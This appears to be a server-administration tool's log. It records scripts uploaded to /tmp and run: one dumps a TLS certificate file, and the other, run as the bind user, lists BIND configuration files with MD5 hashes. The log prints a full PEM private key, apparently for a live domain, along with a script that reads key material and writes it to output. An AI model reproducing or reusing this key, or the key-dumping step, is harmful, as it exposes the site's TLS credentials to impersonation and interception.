IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:01:25: 

PUT: /tmp/pkp492393

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:01:26: 

chmod 755 /tmp/pkp492393; /tmp/pkp492393; rm /tmp/pkp492393

2026-01-03 19:01:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:01:26: Establishing a connection
2026-01-03 19:01:27: 

PUT: /tmp/pkp452628

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:01:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp452628; rm /tmp/pkp452628'

2026-01-03 19:01:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
